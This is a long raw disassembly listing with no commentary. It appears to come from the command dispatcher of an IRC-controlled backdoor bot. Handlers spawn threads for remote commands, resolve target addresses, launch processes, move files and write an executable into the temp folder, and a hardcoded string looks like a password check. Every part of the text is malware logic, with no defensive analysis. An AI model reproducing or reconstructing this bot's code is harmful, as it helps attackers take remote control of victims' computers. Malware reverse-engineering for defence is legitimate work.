cmp byte_440BB0[eax], bl
jz loc_40976F
cmp [ebp+var_C], ebx
jz loc_40976F
push edi
call sub_41B7B0
push [ebp+arg_10]
mov esi, eax
call sub_41B7B0
push [ebp+arg_8]
add esi, eax
call sub_41B7B0
add eax, [ebp+var_C]
push [ebp+arg_0]
lea eax, [eax+esi+2]
push eax
call sub_41C0D0
mov esi, eax
lea eax, [ebp+var_2C0]
push esi
push offset dword_42BBC4
push eax
call sub_41C056
add esp, 20h
cmp esi, ebx
jz loc_40976F
push [ebp+arg_10]
call sub_41BF49
test eax, eax
pop ecx
jle loc_40976F
push [ebp+arg_10]
call sub_41BF49
cmp eax, 400h
pop ecx
jge loc_40976F
push ebx
lea eax, [ebp+var_2C0]
push ebx
push eax
push edi
push [ebp+arg_10]
call sub_41BF49
imul eax, 234h
pop ecx
push dword_440BA4[eax]
call sub_409982
push [ebp+arg_10]
call sub_41BF49
imul eax, 234h
add esp, 18h
cmp byte ptr dword_440998[eax], 73h
jnz loc_40976F
push esi
push [ebp+arg_10]
call sub_41BF49
imul eax, 234h
pop ecx
add eax, offset byte_440BB0
push eax
push edi
push offset aSSS_2 ; "[%s] * %s %s"
loc_407918: ; CODE XREF: sub_401B66+5EB4j
lea eax, [ebp+var_2C0]
push eax
call sub_41C056
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409982
jmp loc_4040AA
; ---------------------------------------------------------------------------
loc_407942: ; CODE XREF: sub_401B66+4E23j
; sub_401B66+4E3Aj
push [ebp+arg_10]
call sub_41BF49
imul eax, 234h
pop ecx
cmp byte_440BB0[eax], bl
jz loc_40976F
cmp [ebp+var_C], ebx
jz loc_40976F
push edi
call sub_41B7B0
push [ebp+arg_10]
mov esi, eax
call sub_41B7B0
push [ebp+arg_8]
add esi, eax
call sub_41B7B0
add eax, [ebp+var_C]
push [ebp+arg_0]
lea eax, [eax+esi+2]
push eax
call sub_41C0D0
mov esi, eax
add esp, 14h
cmp esi, ebx
jz loc_40976F
push [ebp+arg_10]
call sub_41BF49
test eax, eax
pop ecx
jle loc_40976F
push [ebp+arg_10]
call sub_41BF49
cmp eax, 400h
pop ecx
jge loc_40976F
push ebx
push ebx
push esi
push edi
push [ebp+arg_10]
call sub_41BF49
imul eax, 234h
pop ecx
push dword_440BA4[eax]
call sub_409982
push [ebp+arg_10]
call sub_41BF49
imul eax, 234h
add esp, 18h
cmp byte ptr dword_440998[eax], 73h
jnz loc_40976F
push esi
push [ebp+arg_10]
call sub_41BF49
imul eax, 234h
pop ecx
add eax, offset byte_440BB0
push eax
push edi
push offset aSSS_1 ; "[%s] <%s> %s"
jmp loc_407918
; ---------------------------------------------------------------------------
loc_407A1F: ; CODE XREF: sub_401B66+4DF5j
; sub_401B66+4E0Cj
push [ebp+arg_10]
call dword_4CDCA4 ; inet_addr
push edi
mov [ebp+var_67C], eax
call sub_41BF49
push [ebp+arg_0]
mov [ebp+var_68C], eax
call sub_41BF49
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_684], eax
lea eax, [ebp+var_70C]
mov [ebp+var_710], esi
push eax
call sub_41BDC0
add esp, 14h
mov edi, [ebp+var_4]
mov eax, [ebp+var_8]
mov [ebp+var_674], edi
push [ebp+var_684]
mov [ebp+var_670], eax
push [ebp+var_68C]
push [ebp+var_67C]
call dword_4CDCF0 ; inet_ntoa
push eax
lea eax, [ebp+var_2C0]
push offset unk_42BB68
push eax
call sub_41C056
push ebx
lea eax, [ebp+var_2C0]
push 0Bh
push eax
call sub_40AF8D
add esp, 20h
mov [ebp+var_680], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_710]
push ebx
push eax
push offset sub_40C4E2
push ebx
push ebx
call dword_42807C ; CreateThread
mov ecx, [ebp+var_680]
imul ecx, 234h
cmp eax, ebx
mov dword_440BAC[ecx], eax
jnz short loc_407B04
call dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_42BC60
jmp loc_403E6C
; ---------------------------------------------------------------------------
loc_407AFC: ; CODE XREF: sub_401B66+5FA4j
push 32h
call dword_428064 ; Sleep
loc_407B04: ; CODE XREF: sub_401B66+5F83j
cmp [ebp+var_66C], ebx
jz short loc_407AFC
jmp loc_403E7B
; ---------------------------------------------------------------------------
loc_407B11: ; CODE XREF: sub_401B66+4DC7j
; sub_401B66+4DDEj
push [ebp+arg_10]
call sub_41BF49
mov [ebp+var_1128], eax
push 7Fh
lea eax, [ebp+var_122C]
push edi
push eax
call sub_41BDC0
push [ebp+arg_0]
call sub_41BF49
push [ebp+var_88]
mov esi, [ebp+arg_4]
mov [ebp+var_112C], eax
lea eax, [ebp+var_11AC]
push 80h
push eax
mov [ebp+var_1234], esi
call sub_41C150
mov eax, [ebp+var_8]
add esp, 20h
mov edi, [ebp+var_4]
mov [ebp+var_1118], eax
push [ebp+var_112C]
lea eax, [ebp+var_122C]
mov [ebp+var_111C], edi
push eax
push [ebp+var_1128]
push esi
call sub_40AB14
pop ecx
push eax
lea eax, [ebp+var_2C0]
push offset unk_42BB2C
push eax
call sub_41C056
push ebx
lea eax, [ebp+var_2C0]
push 18h
push eax
call sub_40AF8D
add esp, 24h
mov [ebp+var_1124], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1234]
push ebx
push eax
push offset sub_410A44
push ebx
push ebx
call dword_42807C ; CreateThread
mov ecx, [ebp+var_1124]
imul ecx, 234h
cmp eax, ebx
mov dword_440BAC[ecx], eax
jnz short loc_407BFD
call dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_42BAE8
jmp loc_403E6C
; ---------------------------------------------------------------------------
loc_407BF5: ; CODE XREF: sub_401B66+609Dj
push 32h
call dword_428064 ; Sleep
loc_407BFD: ; CODE XREF: sub_401B66+607Cj
cmp [ebp+var_1114], ebx
jz short loc_407BF5
jmp loc_403E7B
; ---------------------------------------------------------------------------
loc_407C0A: ; CODE XREF: sub_401B66+4D99j
; sub_401B66+4DB0j
push 0FFh
lea eax, [ebp+var_25CC]
push [ebp+arg_10]
push eax
call sub_41BDC0
push 0FFh
lea eax, [ebp+var_24CC]
push edi
push eax
call sub_41BDC0
push [ebp+arg_0]
mov [ebp+var_23C8], ebx
call sub_41BF49
mov [ebp+var_23C4], eax
mov eax, [ebp+esi+var_80]
add esp, 1Ch
cmp eax, ebx
jz short loc_407C63
push 10h
push ebx
push eax
call sub_41C595
add esp, 0Ch
mov [ebp+var_23BC], eax
jmp short loc_407C69
; ---------------------------------------------------------------------------
loc_407C63: ; CODE XREF: sub_401B66+60E7j
mov [ebp+var_23BC], ebx
loc_407C69: ; CODE XREF: sub_401B66+60FBj
mov esi, [ebp+esi+var_7C]
cmp esi, ebx
jz short loc_407C80
push esi
call sub_41BF49
pop ecx
mov [ebp+var_23C0], eax
jmp short loc_407C86
; ---------------------------------------------------------------------------
loc_407C80: ; CODE XREF: sub_401B66+6109j
mov [ebp+var_23C0], ebx
loc_407C86: ; CODE XREF: sub_401B66+6118j
movzx eax, [ebp+var_8F7]
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_23B8], eax
lea eax, [ebp+var_264C]
mov [ebp+var_2650], esi
push eax
call sub_41BDC0
mov eax, [ebp+var_4]
push edi
push [ebp+arg_10]
mov [ebp+var_23B0], eax
mov eax, [ebp+var_8]
mov [ebp+var_23B4], eax
lea eax, [ebp+var_2C0]
push offset unk_42BABC
push eax
call sub_41C056
push esi
lea eax, [ebp+var_2C0]
push 1Dh
push eax
call sub_40AF8D
add esp, 28h
mov [ebp+var_23CC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2650]
push ebx
push eax
push offset sub_416975
push ebx
push ebx
call dword_42807C ; CreateThread
mov ecx, [ebp+var_23CC]
imul ecx, 234h
cmp eax, ebx
mov dword_440BAC[ecx], eax
jnz short loc_407D37
call dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_42BA7C
jmp loc_407FF0
; ---------------------------------------------------------------------------
loc_407D2F: ; CODE XREF: sub_401B66+61D7j
push 32h
call dword_428064 ; Sleep
loc_407D37: ; CODE XREF: sub_401B66+61B6j
cmp [ebp+var_23AC], ebx
jz short loc_407D2F
jmp loc_407FFF
; ---------------------------------------------------------------------------
loc_407D44: ; CODE XREF: sub_401B66+4D6Bj
; sub_401B66+4D82j
push 7Fh
lea eax, [ebp+var_36A0]
pop esi
push esi
push [ebp+arg_10]
push eax
call sub_41BDC0
push esi
lea eax, [ebp+var_3620]
push edi
push eax
call sub_41BDC0
push esi
lea eax, [ebp+var_35A0]
push [ebp+arg_0]
push eax
call sub_41BDC0
push esi
lea eax, [ebp+var_3520]
push [ebp+var_88]
push eax
call sub_41BDC0
push [ebp+arg_0]
mov eax, [ebp+var_4]
mov esi, [ebp+arg_4]
mov [ebp+var_349C], eax
mov eax, [ebp+var_8]
push edi
push [ebp+arg_10]
mov [ebp+var_3498], eax
lea eax, [ebp+var_2C0]
mov [ebp+var_36A4], esi
push offset unk_42BA40
push eax
call sub_41C056
add esp, 44h
lea eax, [ebp+var_2C0]
push ebx
push 12h
push eax
call sub_40AF8D
add esp, 0Ch
mov [ebp+var_34A0], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_36A4]
push ebx
push eax
push offset sub_4150A6
push ebx
push ebx
call dword_42807C ; CreateThread
mov ecx, [ebp+var_34A0]
imul ecx, 234h
cmp eax, ebx
mov dword_440BAC[ecx], eax
jnz short loc_407E1E
call dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_42BA08
jmp loc_407FF0
; ---------------------------------------------------------------------------
loc_407E16: ; CODE XREF: sub_401B66+62BEj
push 32h
call dword_428064 ; Sleep
loc_407E1E: ; CODE XREF: sub_401B66+629Dj
cmp [ebp+var_3494], ebx
jz short loc_407E16
jmp loc_407FFF
; ---------------------------------------------------------------------------
loc_407E2B: ; CODE XREF: sub_401B66+4C3Fj
; sub_401B66+4C56j
push 7Fh
lea eax, [ebp+var_3278]
pop esi
push esi
push [ebp+arg_10]
push eax
call sub_41BDC0
push esi
lea eax, [ebp+var_31F8]
push edi
push eax
call sub_41BDC0
push esi
lea eax, [ebp+var_3178]
push [ebp+arg_0]
push eax
call sub_41BDC0
push esi
lea eax, [ebp+var_30F8]
push [ebp+var_88]
push eax
call sub_41BDC0
push [ebp+arg_0]
mov eax, [ebp+var_4]
mov esi, [ebp+arg_4]
mov [ebp+var_3074], eax
mov eax, [ebp+var_8]
push edi
push [ebp+arg_10]
mov [ebp+var_3070], eax
lea eax, [ebp+var_2C0]
mov [ebp+var_327C], esi
push offset unk_42B9D8
push eax
call sub_41C056
add esp, 44h
lea eax, [ebp+var_2C0]
push ebx
push 0Eh
push eax
call sub_40AF8D
add esp, 0Ch
mov [ebp+var_3078], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_327C]
push ebx
push eax
push offset sub_413DEC
push ebx
push ebx
call dword_42807C ; CreateThread
mov ecx, [ebp+var_3078]
imul ecx, 234h
cmp eax, ebx
mov dword_440BAC[ecx], eax
jnz short loc_407F05
call dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_42B9A0
jmp loc_407FF0
; ---------------------------------------------------------------------------
loc_407EFD: ; CODE XREF: sub_401B66+63A5j
push 32h
call dword_428064 ; Sleep
loc_407F05: ; CODE XREF: sub_401B66+6384j
cmp [ebp+var_306C], ebx
jz short loc_407EFD
jmp loc_407FFF
; ---------------------------------------------------------------------------
loc_407F12: ; CODE XREF: sub_401B66+4B17j
; sub_401B66+4B2Ej ...
push 7Fh
lea eax, [ebp+var_3F7C]
pop esi
push esi
push [ebp+arg_10]
push eax
call sub_41BDC0
push esi
lea eax, [ebp+var_3EFC]
push edi
push eax
call sub_41BDC0
push esi
lea eax, [ebp+var_3E7C]
push [ebp+arg_0]
push eax
call sub_41BDC0
push esi
lea eax, [ebp+var_3DFC]
push [ebp+var_88]
push eax
call sub_41BDC0
push 20h
lea eax, [ebp+var_3D7C]
push [ebp+arg_8]
push eax
call sub_41BDC0
push [ebp+arg_0]
mov eax, [ebp+var_4]
mov esi, [ebp+arg_4]
mov [ebp+var_3CFC], eax
mov eax, [ebp+var_8]
push edi
push [ebp+arg_10]
mov [ebp+var_3CF8], eax
lea eax, [ebp+var_2C0]
mov [ebp+var_3F84], esi
push offset unk_42B970
push eax
call sub_41C056
add esp, 50h
lea eax, [ebp+var_2C0]
push ebx
push 0Dh
push eax
call sub_40AF8D
add esp, 0Ch
mov [ebp+var_3F80], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3F84]
push ebx
push eax
push offset sub_413081
push ebx
push ebx
call dword_42807C ; CreateThread
mov ecx, [ebp+var_3F80]
imul ecx, 234h
cmp eax, ebx
mov dword_440BAC[ecx], eax
jnz short loc_408019
call dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_42B938
loc_407FF0: ; CODE XREF: sub_401B66+4D40j
; sub_401B66+56D0j ...
lea eax, [ebp+var_2C0]
push eax
call sub_41C056
add esp, 0Ch
loc_407FFF: ; CODE XREF: sub_401B66+4D55j
; sub_401B66+56E5j ...
cmp [ebp+var_8], ebx
jnz loc_402418
push ebx
push [ebp+var_4]
jmp loc_403E86
; ---------------------------------------------------------------------------
loc_408011: ; CODE XREF: sub_401B66+64B9j
push 32h
call dword_428064 ; Sleep
loc_408019: ; CODE XREF: sub_401B66+647Cj
cmp [ebp+var_3CF4], ebx
jz short loc_408011
jmp short loc_407FFF
; ---------------------------------------------------------------------------
loc_408023: ; CODE XREF: sub_401B66+4AE9j
; sub_401B66+4B00j
push 7Fh
lea eax, [ebp+var_1774]
push [ebp+arg_10]
push eax
call sub_41BDC0
push edi
call sub_41BF49
push 3Fh
mov [ebp+var_1624], eax
push [ebp+arg_0]
lea eax, [ebp+var_16F4]
push eax
call sub_41BDC0
mov esi, [ebp+esi+var_80]
add esp, 1Ch
cmp esi, ebx
jz short loc_40806E
push 3Fh
lea eax, [ebp+var_16B4]
push esi
push eax
call sub_41BDC0
add esp, 0Ch
loc_40806E: ; CODE XREF: sub_401B66+64F4j
lea eax, [ebp+var_16F4]
mov [ebp+var_1620], 1
push eax
lea eax, [ebp+var_1774]
push [ebp+var_1624]
push eax
lea eax, [ebp+var_2C0]
push offset dword_42B908
push eax
call sub_41C056
push ebx
lea eax, [ebp+var_2C0]
push 1Fh
push eax
call sub_40AF8D
add esp, 20h
mov [ebp+var_161C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1778]
push ebx
push eax
push offset sub_401891
push ebx
push ebx
call dword_42807C ; CreateThread
mov ecx, [ebp+var_161C]
imul ecx, 234h
cmp eax, ebx
mov dword_440BAC[ecx], eax
jnz short loc_4080FD
call dword_42808C ; RtlGetLastWin32Error
push eax
push offset dword_42B8CC
jmp loc_406C8C
; ---------------------------------------------------------------------------
loc_4080F5: ; CODE XREF: sub_401B66+659Dj
push 32h
call dword_428064 ; Sleep
loc_4080FD: ; CODE XREF: sub_401B66+657Cj
cmp [ebp+var_1618], ebx
jz short loc_4080F5
jmp loc_406C9B
; ---------------------------------------------------------------------------
loc_40810A: ; CODE XREF: sub_401B66+4AA9j
; sub_401B66+4AC0j
push edi
call sub_41BF49
cmp eax, ebx
pop ecx
mov [ebp+var_1D60], eax
jle loc_4081FA
push [ebp+arg_10]
mov esi, 80h
lea eax, [ebp+var_1EE8]
push esi
push eax
call sub_41C150
xor eax, eax
cmp [ebp+var_8EA], bl
push [ebp+var_88]
setnz al
mov [ebp+var_1D5C], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1EEC], eax
lea eax, [ebp+var_1DE8]
push esi
push eax
call sub_41C150
mov eax, [ebp+var_4]
push edi
push [ebp+arg_10]
mov [ebp+var_1D58], eax
mov eax, [ebp+var_8]
mov [ebp+var_1D54], eax
push offset unk_42B8A0
lea eax, [ebp+var_2C0]
push 200h
push eax
call sub_41C150
push ebx
lea eax, [ebp+var_2C0]
push 15h
push eax
call sub_40AF8D
add esp, 38h
mov [ebp+var_1D68], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1EEC]
push ebx
push eax
push offset sub_4134C5
push ebx
push ebx
call dword_42807C ; CreateThread
mov ecx, [ebp+var_1D68]
imul ecx, 234h
cmp eax, ebx
mov dword_440BAC[ecx], eax
jnz short loc_4081ED
call dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_42B868
jmp loc_405F5E
; ---------------------------------------------------------------------------
loc_4081E5: ; CODE XREF: sub_401B66+668Dj
push 32h
call dword_428064 ; Sleep
loc_4081ED: ; CODE XREF: sub_401B66+666Cj
cmp [ebp+var_1D50], ebx
jz short loc_4081E5
jmp loc_406EC5
; ---------------------------------------------------------------------------
loc_4081FA: ; CODE XREF: sub_401B66+65B3j
push offset unk_42B830
jmp loc_406EB7
; ---------------------------------------------------------------------------
loc_408204: ; CODE XREF: sub_401B66+4A7Bj
; sub_401B66+4A92j
push edi
push [ebp+arg_10]
call dword_4280B4 ; MoveFileA
test eax, eax
jz short loc_408231
push edi
lea eax, [ebp+var_2C0]
push [ebp+arg_10]
push offset unk_42B80C
push 200h
push eax
call sub_41C150
jmp loc_4040D4
; ---------------------------------------------------------------------------
loc_408231: ; CODE XREF: sub_401B66+66AAj
push offset dword_42B800
call sub_418827
push eax
lea eax, [ebp+var_2C0]
push 200h
push eax
call sub_41C150
add esp, 10h
jmp loc_406EC5
; ---------------------------------------------------------------------------
loc_408255: ; CODE XREF: sub_401B66+4A4Dj
; sub_401B66+4A64j
push [ebp+arg_10]
lea eax, [ebp+var_3C6C]
push 104h
push eax
call sub_41C150
add esp, 0Ch
cmp [ebp+var_C], ebx
jz short loc_40828F
push edi
push [ebp+var_C]
call sub_41C0D0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40828F
push eax
lea eax, [ebp+var_3B68]
push eax
call sub_41C056
pop ecx
pop ecx
loc_40828F: ; CODE XREF: sub_401B66+6709j
; sub_401B66+6718j
push [ebp+var_88]
lea eax, [ebp+var_3CEC]
push 80h
push eax
call sub_41C150
mov eax, [ebp+arg_4]
mov [ebp+var_3CF0], eax
mov eax, [ebp+var_4]
mov [ebp+var_3A60], eax
mov eax, [ebp+var_8]
mov [ebp+var_3A5C], eax
lea eax, [ebp+var_3B68]
push eax
lea eax, [ebp+var_3C6C]
push eax
push offset unk_42B7D0
lea eax, [ebp+var_2C0]
push 200h
push eax
call sub_41C150
push ebx
lea eax, [ebp+var_2C0]
push 24h
push eax
call sub_40AF8D
add esp, 2Ch
mov [ebp+var_3A64], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3CF0]
push ebx
push eax
push offset sub_41720A
push ebx
push ebx
call dword_42807C ; CreateThread
mov ecx, [ebp+var_3A64]
imul ecx, 234h
cmp eax, ebx
mov dword_440BAC[ecx], eax
jnz short loc_408354
call dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_42B794
loc_408338: ; CODE XREF: sub_401B66+9B3j
; sub_401B66+9D9j ...
lea eax, [ebp+var_2C0]
push eax
call sub_41C056
add esp, 0Ch
jmp loc_402418
; ---------------------------------------------------------------------------
loc_40834C: ; CODE XREF: sub_401B66+67F4j
push 32h
call dword_428064 ; Sleep
loc_408354: ; CODE XREF: sub_401B66+67C4j
cmp [ebp+var_3A58], ebx
jz short loc_40834C
jmp loc_402418
; ---------------------------------------------------------------------------
loc_408361: ; CODE XREF: sub_401B66+4A1Fj
; sub_401B66+4A36j
push 44h
lea eax, [ebp+var_664]
pop esi
push esi
push ebx
push eax
call sub_41BD60
push [ebp+arg_10]
mov [ebp+var_664], esi
xor esi, esi
mov [ebp+var_634], bx
inc esi
mov [ebp+var_638], esi
call sub_41BF49
add esp, 10h
cmp eax, esi
jnz short loc_4083A0
mov [ebp+var_634], 5
loc_4083A0: ; CODE XREF: sub_401B66+682Fj
cmp [ebp+var_C], ebx
jz loc_406C9B
push edi
push [ebp+var_C]
call sub_41C0D0
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
jz loc_406C9B
lea eax, [ebp+var_DAC]
push eax
lea eax, [ebp+var_664]
push eax
push ebx
push ebx
push 28h
push esi
push ebx
push ebx
push edi
push ebx
call dword_428070 ; CreateProcessA
test eax, eax
lea eax, [ebp+var_2C0]
jnz short loc_4083EF
push offset unk_42B770
jmp loc_406221
; ---------------------------------------------------------------------------
loc_4083EF: ; CODE XREF: sub_401B66+687Dj
push edi
push offset dword_42B754
jmp loc_406C92
; ---------------------------------------------------------------------------
loc_4083FA: ; CODE XREF: sub_401B66+49F1j
; sub_401B66+4A08j
push edi
push offset aH43yh4ckernt ; "h43yh4ckerNT"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_40856C
lea eax, [ebp+var_48EC]
push eax
push 104h
call dword_4280B0 ; GetTempPathA
push 0FFh
lea eax, [ebp+var_2874]
push [ebp+arg_10]
push eax
call sub_41BDC0
lea eax, [ebp+var_1794]
push eax
call sub_40AC87
push eax
lea eax, [ebp+var_48EC]
push eax
lea eax, [ebp+var_2774]
push offset aSS_exe ; "%s%s.exe"
push eax
call sub_41C056
mov eax, [ebp+esi+var_84]
add esp, 20h
cmp eax, ebx
mov [ebp+var_2670], 1
mov [ebp+var_266C], ebx
jz short loc_40848C
push 10h
push ebx
push eax
call sub_41C595
add esp, 0Ch
mov [ebp+var_2664], eax
jmp short loc_408492
; ---------------------------------------------------------------------------
loc_40848C: ; CODE XREF: sub_401B66+6910j
mov [ebp+var_2664], ebx
loc_408492: ; CODE XREF: sub_401B66+6924j
mov esi, [ebp+esi+var_80]
cmp esi, ebx
jz short loc_4084A9
push esi
call sub_41BF49
pop ecx
mov [ebp+var_2668], eax
jmp short loc_4084AF
; ---------------------------------------------------------------------------
loc_4084A9: ; CODE XREF: sub_401B66+6932j
mov [ebp+var_2668], ebx
loc_4084AF: ; CODE XREF: sub_401B66+6941j
movzx eax, [ebp+var_8F7]
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_2660], eax
lea eax, [ebp+var_28F4]
mov [ebp+var_28F8], esi
push eax
call sub_41BDC0
mov eax, [ebp+var_4]
push [ebp+arg_10]
mov [ebp+var_2658], eax
mov eax, [ebp+var_8]
mov [ebp+var_265C], eax
lea eax, [ebp+var_2C0]
push offset dword_42B71C
push eax
call sub_41C056
push esi
lea eax, [ebp+var_2C0]
push 1Eh
push eax
call sub_40AF8D
add esp, 24h
mov [ebp+var_2674], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_28F8]
push ebx
push eax
push offset sub_416975
push ebx
push ebx
call dword_42807C ; CreateThread
mov ecx, [ebp+var_2674]
imul ecx, 234h
cmp eax, ebx
mov dword_440BAC[ecx], eax
jnz short loc_40855F
call dword_42808C ; RtlGetLastWin32Error
push eax
push offset dword_42B6E0
jmp loc_406C8C
; ---------------------------------------------------------------------------
loc_408557: ; CODE XREF: sub_401B66+69FFj
push 32h
call dword_428064 ; Sleep
loc_40855F: ; CODE XREF: sub_401B66+69DEj
cmp [ebp+var_2654], ebx
jz short loc_408557
jmp loc_406C9B
; ---------------------------------------------------------------------------
loc_40856C: ; CODE XREF: sub_401B66+68A3j
push offset dword_42B698
jmp loc_40621B
; ---------------------------------------------------------------------------
loc_408576: ; CODE XREF: sub_401B66+49C3j
; sub_401B66+49DAj
push [ebp+var_8C]
push offset dword_42DFCC
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_401F9E
cmp [ebp+var_C], ebx
jz loc_401F9E
push edi
push [ebp+var_C]
call sub_41C0D0
push eax
lea eax, [ebp+var_2C0]
push [ebp+var_88]
push [ebp+var_8C]
push [ebp+var_90]
push offset dword_42B684
push eax
call sub_41C056
lea eax, [ebp+var_2C0]
push 1FFh
push eax
push [ebp+arg_0]
call sub_41BDC0
push [ebp+arg_10]
call sub_41BF49
add esp, 30h
test eax, eax
jle short loc_4085FF
push [ebp+arg_10]
call sub_41BF49
imul eax, 3E8h
pop ecx
push eax
call dword_428064 ; Sleep
loc_4085FF: ; CODE XREF: sub_401B66+6A81j
push offset dword_42B670
call sub_4157A5
mov eax, [ebp+arg_24]
pop ecx
inc eax
jmp loc_401FA1
; ---------------------------------------------------------------------------
loc_408613: ; CODE XREF: sub_401B66+4995j
; sub_401B66+49ACj
push [ebp+var_8C]
push offset dword_42DFCC
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_401F9E
cmp [ebp+var_C], ebx
jz loc_40976F
push edi
push [ebp+var_C]
call sub_41C0D0
inc edi
push offset aRepeat ; "repeat"
push edi
mov esi, eax
call sub_41C840
add esp, 10h
test eax, eax
push esi
lea eax, [ebp+var_2C0]
jz short loc_4086CE
push [ebp+var_88]
push [ebp+var_8C]
push [ebp+var_90]
push offset dword_42B684
push eax
call sub_41C056
lea eax, [ebp+var_2C0]
push 1FFh
push eax
push [ebp+arg_0]
call sub_41BDC0
push esi
lea eax, [ebp+var_2C0]
push offset dword_42B658
push eax
call sub_41C056
lea eax, [ebp+var_2C0]
push eax
call sub_4157A5
push [ebp+arg_10]
call sub_41BF49
add esp, 38h
test eax, eax
jle loc_40976F
push [ebp+arg_10]
call sub_41BF49
add eax, [ebp+arg_24]
pop ecx
jmp loc_401FA1
; ---------------------------------------------------------------------------
loc_4086CE: ; CODE XREF: sub_401B66+6AF3j
push offset unk_42B624
jmp loc_408F53
; ---------------------------------------------------------------------------
loc_4086D8: ; CODE XREF: sub_401B66+4967j
; sub_401B66+497Ej
push 7Fh
lea eax, [ebp+var_207C]
push [ebp+arg_10]
push eax
call sub_41BDC0
push 7Fh
lea eax, [ebp+var_1FFC]
push edi
push eax
call sub_41BDC0
push 7Fh
lea eax, [ebp+var_1F7C]
push [ebp+var_88]
push eax
call sub_41BDC0
mov eax, [ebp+var_4]
mov esi, [ebp+arg_4]
mov [ebp+var_1EF8], eax
mov eax, [ebp+var_8]
push edi
mov [ebp+var_1EF4], eax
push [ebp+arg_10]
lea eax, [ebp+var_2C0]
mov [ebp+var_2080], esi
push offset unk_42B5F0
push eax
call sub_41C056
push ebx
lea eax, [ebp+var_2C0]
push 0Fh
push eax
call sub_40AF8D
add esp, 40h
mov [ebp+var_1EFC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2080]
push ebx
push eax
push offset sub_4149E9
push ebx
push ebx
call dword_42807C ; CreateThread
mov ecx, [ebp+var_1EFC]
imul ecx, 234h
cmp eax, ebx
mov dword_440BAC[ecx], eax
jnz short loc_40879C
call dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_42B5B4
jmp loc_408860
; ---------------------------------------------------------------------------
loc_408794: ; CODE XREF: sub_401B66+6C3Cj
push 32h
call dword_428064 ; Sleep
loc_40879C: ; CODE XREF: sub_401B66+6C1Bj
cmp [ebp+var_1EF0], ebx
jz short loc_408794
jmp loc_40886F
; ---------------------------------------------------------------------------
loc_4087A9: ; CODE XREF: sub_401B66+4939j
; sub_401B66+4950j
push 7Fh
lea eax, [ebp+var_23A4]
push [ebp+arg_10]
push eax
call sub_41BDC0
push 7Fh
lea eax, [ebp+var_2324]
push edi
push eax
call sub_41BDC0
push 7Fh
lea eax, [ebp+var_22A4]
push [ebp+var_88]
push eax
call sub_41BDC0
mov eax, [ebp+var_4]
mov esi, [ebp+arg_4]
mov [ebp+var_2220], eax
mov eax, [ebp+var_8]
push edi
mov [ebp+var_221C], eax
push [ebp+arg_10]
lea eax, [ebp+var_2C0]
mov [ebp+var_23A8], esi
push offset dword_42B588
push eax
call sub_41C056
push ebx
lea eax, [ebp+var_2C0]
push 11h
push eax
call sub_40AF8D
add esp, 40h
mov [ebp+var_2224], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_23A8]
push ebx
push eax
push offset sub_414191
push ebx
push ebx
call dword_42807C ; CreateThread
mov ecx, [ebp+var_2224]
imul ecx, 234h
cmp eax, ebx
mov dword_440BAC[ecx], eax
jnz short loc_408897
call dword_42808C ; RtlGetLastWin32Error
push eax
push offset dword_42B54C
loc_408860: ; CODE XREF: sub_401B66+6C29j
lea eax, [ebp+var_2C0]
push eax
call sub_41C056
add esp, 0Ch
loc_40886F: ; CODE XREF: sub_401B66+6C3Ej
; sub_401B66+6D39j
cmp [ebp+var_8], ebx
jnz loc_403FE4
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push esi
jmp loc_403FDC
; ---------------------------------------------------------------------------
loc_40888F: ; CODE XREF: sub_401B66+6D37j
push 32h
call dword_428064 ; Sleep
loc_408897: ; CODE XREF: sub_401B66+6CECj
cmp [ebp+var_2218], ebx
jz short loc_40888F
jmp short loc_40886F
; ---------------------------------------------------------------------------
loc_4088A1: ; CODE XREF: sub_401B66+490Bj
; sub_401B66+4922j
push edi
lea eax, [ebp+var_2C0]
push offset dword_42B544
push eax
call sub_41C056
push [ebp+arg_10]
call sub_41BF49
add esp, 10h
loc_4088BE: ; CODE XREF: sub_401B66+6DC3j
test eax, eax
jle loc_40976F
push [ebp+arg_10]
call sub_41BF49
cmp eax, 400h
pop ecx
jge loc_40976F
loc_4088DA: ; CODE XREF: sub_401B66+793Aj
lea eax, [ebp+var_2C0]
push eax
push offset dword_42B53C
push [ebp+arg_10]
call sub_41BF49
imul eax, 234h
pop ecx
push dword_440BA4[eax]
call sub_40993C
jmp loc_404984
; ---------------------------------------------------------------------------
loc_408905: ; CODE XREF: sub_401B66+48DDj
; sub_401B66+48F4j
push [ebp+esi+var_84]
lea eax, [ebp+var_2C0]
push edi
push offset dword_42B530
push eax
call sub_41C056
push [ebp+arg_10]
call sub_41BF49
add esp, 14h
jmp short loc_4088BE
